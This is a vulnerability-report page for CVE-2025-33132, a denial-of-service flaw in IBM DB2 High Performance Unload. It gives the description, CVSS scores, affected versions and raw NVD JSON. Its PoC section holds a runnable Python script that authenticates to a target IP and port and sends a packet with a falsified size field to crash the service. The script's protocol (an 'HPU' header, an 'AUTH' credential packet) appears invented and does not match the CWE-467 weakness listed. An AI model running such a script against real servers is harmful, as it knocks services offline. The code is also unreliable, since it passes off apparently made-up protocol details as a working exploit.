Security Vulnerability Report
中文
CVE-2025-33132 CVSS 6.5 MEDIUM

CVE-2025-33132

Published: 2025-10-28 00:15:38
Last Modified: 2025-11-06 17:44:43

Description

IBM DB2 High Performance Unload 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, and 5.1 could allow an authenticated user to cause the program to crash due to the incorrect calculation of the size of the data that is being pointed to.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2_high_performance_unload_load:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.1:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.3:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ibm:linux_on_ibm_z:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM DB2 High Performance Unload 5.1
IBM DB2 High Performance Unload 5.1.0.1
IBM DB2 High Performance Unload 6.1
IBM DB2 High Performance Unload 6.1.0.1
IBM DB2 High Performance Unload 6.1.0.2
IBM DB2 High Performance Unload 6.1.0.3
IBM DB2 High Performance Unload 6.5
IBM DB2 High Performance Unload 6.5.0.0 IF1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33132 PoC - IBM DB2 High Performance Unload Memory Calculation Error # This PoC demonstrates triggering a crash through malformed data input # Note: Actual exploitation requires valid credentials for IBM DB2 HPU import socket import struct import sys def create_malformed_packet(): """Create a packet that triggers size calculation error""" # Protocol header header = b'HPU' # HPU signature version = struct.pack('B', 6) # Version 6.x # Malformed data block with incorrect size field # The size field is intentionally miscalculated data_payload = b'A' * 10000 # Large payload # Incorrect size calculation (smaller than actual data) incorrect_size = struct.pack('<I', 100) # Size = 100, but actual data is much larger packet = header + version + incorrect_size + data_payload return packet def exploit_cve_2025_33132(target_ip, target_port=50000): """ Exploit CVE-2025-33132 Target: IBM DB2 High Performance Unload Effect: Denial of Service (program crash) """ try: print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Step 1: Authenticate with valid credentials print('[*] Authenticating with valid user credentials...') auth_packet = b'AUTH' + b'username\x00password\x00' sock.send(auth_packet) response = sock.recv(1024) if b'OK' not in response: print('[-] Authentication failed') return False print('[+] Authentication successful') # Step 2: Send malformed data to trigger size calculation error print('[*] Sending malformed packet to trigger vulnerability...') exploit_packet = create_malformed_packet() sock.send(exploit_packet) # Step 3: Observe crash condition print('[*] Waiting for response...') sock.settimeout(5) try: response = sock.recv(1024) print(f'[-] Unexpected response: {response}') except socket.timeout: print('[+] Target appears to be unresponsive (crash triggered)') return True return False except Exception as e: print(f'[-] Error: {e}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_ip> <port>') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print('CVE-2025-33132 PoC - IBM DB2 HPU Memory Calculation Error') exploit_cve_2025_33132(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33132", "sourceIdentifier": "[email protected]", "published": "2025-10-28T00:15:38.260", "lastModified": "2025-11-06T17:44:43.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM DB2 High Performance Unload 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, and 5.1 could allow an authenticated user to cause the program to crash due to the incorrect calculation of the size of the data that is being pointed to."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-467"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.0.0", "versionEndIncluding": "6.1.0.0", "matchCriteriaId": "EAD3A49C-CBF6-4014-8C06-FB420BEB54A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "3D79E685-229A-495B-9737-084F472403CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.2:-:*:*:*:*:*:*", "matchCriteriaId": "59CAECE6-E2F0-46D2-B7EE-EFA600072730"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.3:-:*:*:*:*:*:*", "matchCriteriaId": "E7DBB818-2879-4BD5-9A05-ABDF771A23D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6ACF327-FF08-49B3-8902-7759258B18C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:if1:*:*:*:*:*:*", "matchCriteriaId": "2BEF8EB1-FB2A-4CD4-BA6B-6DFD18441227"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:ibm:linux_on_ibm_z:-:*:*:*:*:*:*:*", "matchCriteriaId": "B955E472-47E3-4C32-847B-F6BB05594BA3"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249336", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}